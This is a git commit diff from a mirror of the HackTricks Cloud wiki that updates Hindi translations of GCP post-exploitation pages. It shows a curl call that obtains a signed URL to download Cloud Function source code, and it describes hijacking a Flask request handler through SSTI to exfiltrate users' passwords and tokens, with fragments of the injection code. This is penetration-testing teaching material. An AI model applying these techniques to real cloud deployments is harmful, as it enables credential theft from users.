mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-01-27 07:14:20 -08:00
Translated ['src/pentesting-ci-cd/ansible-tower-awx-automation-controlle
This commit is contained in:
@@ -1 +1,3 @@
|
||||
# GCP - पोस्ट एक्सप्लॉइटेशन
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -1,10 +1,10 @@
|
||||
# GCP - क्लाउड फ़ंक्शंस पोस्ट एक्सप्लॉइटेशन
|
||||
# GCP - Cloud Functions Post Exploitation
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## क्लाउड फ़ंक्शंस
|
||||
## Cloud Functions
|
||||
|
||||
क्लाउड फ़ंक्शंस के बारे में कुछ जानकारी प्राप्त करें:
|
||||
Cloud Functions के बारे में कुछ जानकारी प्राप्त करें:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-cloud-functions-enum.md
|
||||
@@ -12,18 +12,18 @@
|
||||
|
||||
### `cloudfunctions.functions.sourceCodeGet`
|
||||
|
||||
इस अनुमति के साथ आप **क्लाउड फ़ंक्शन के स्रोत कोड को डाउनलोड करने के लिए एक साइन किया हुआ URL प्राप्त कर सकते हैं**:
|
||||
इस अनुमति के साथ आप **Cloud Function के स्रोत कोड को डाउनलोड करने के लिए एक साइन किया हुआ URL प्राप्त कर सकते हैं**:
|
||||
```bash
|
||||
curl -X POST https://cloudfunctions.googleapis.com/v2/projects/{project-id}/locations/{location}/functions/{function-name}:generateDownloadUrl \
|
||||
-H "Authorization: Bearer $(gcloud auth application-default print-access-token)" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{}'
|
||||
```
|
||||
### क्लाउड फ़ंक्शन अनुरोध चुराना
|
||||
### Cloud Function अनुरोध चुराना
|
||||
|
||||
यदि क्लाउड फ़ंक्शन संवेदनशील जानकारी का प्रबंधन कर रहा है जो उपयोगकर्ता भेज रहे हैं (जैसे पासवर्ड या टोकन), तो पर्याप्त विशेषाधिकार के साथ आप **फ़ंक्शन के स्रोत कोड को संशोधित कर सकते हैं और इस जानकारी को निकाल सकते हैं**।
|
||||
यदि Cloud Function संवेदनशील जानकारी का प्रबंधन कर रहा है जो उपयोगकर्ता भेज रहे हैं (जैसे पासवर्ड या टोकन), तो पर्याप्त विशेषाधिकार के साथ आप **फंक्शन का स्रोत कोड संशोधित कर सकते हैं और इस जानकारी को एक्सफिल्ट्रेट** कर सकते हैं।
|
||||
|
||||
इसके अलावा, पायथन में चलने वाले क्लाउड फ़ंक्शन **फ्लास्क** का उपयोग करते हैं ताकि वेब सर्वर को उजागर किया जा सके, यदि आप किसी तरह फ्लास्क प्रक्रिया के अंदर कोड इंजेक्शन की भेद्यता (उदाहरण के लिए SSTI भेद्यता) खोज लेते हैं, तो यह संभव है कि आप **फ़ंक्शन हैंडलर को ओवरराइड करें** जो HTTP अनुरोध प्राप्त करने जा रहा है एक **दुष्ट फ़ंक्शन** के लिए जो **अनुरोध को निकाल सकता है** इससे पहले कि इसे वैध हैंडलर को सौंपा जाए।
|
||||
इसके अलावा, python में चलने वाले Cloud Functions **flask** का उपयोग करते हैं ताकि वेब सर्वर को उजागर किया जा सके, यदि आप किसी तरह फ्लास्क प्रक्रिया के अंदर कोड इंजेक्शन की कमजोरी (उदाहरण के लिए SSTI कमजोरी) खोज लेते हैं, तो यह संभव है कि आप **फंक्शन हैंडलर को ओवरराइड** कर सकें जो HTTP अनुरोध प्राप्त करने जा रहा है एक **दुष्ट फंक्शन** के लिए जो **अनुरोध को एक्सफिल्ट्रेट** कर सकता है इससे पहले कि इसे वैध हैंडलर को पास किया जाए।
|
||||
|
||||
उदाहरण के लिए, यह कोड हमले को लागू करता है:
|
||||
```python
|
||||
@@ -98,7 +98,7 @@ return "/tmp/function.py doesn't exists"
|
||||
|
||||
# Get relevant function names
|
||||
handler_fname = os.environ.get("FUNCTION_TARGET") # Cloud Function env variable indicating the name of the function to habdle requests
|
||||
source_path = os.environ.get("FUNCTION_SOURCE", "./main.py") # Path to the source file of the Cloud Function (./main.py by default)
|
||||
source_path = os.environ.get("FUNCTION_SOURCE", "./main.py") # Path to the source file of the Cloud Function (main.py by default)
|
||||
realpath = os.path.realpath(source_path) # Get full path
|
||||
|
||||
# Get the modules representations
|
||||
@@ -122,4 +122,4 @@ return "Injection completed!"
|
||||
except Exception as e:
|
||||
return str(e)
|
||||
```
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
Reference in New Issue
Block a user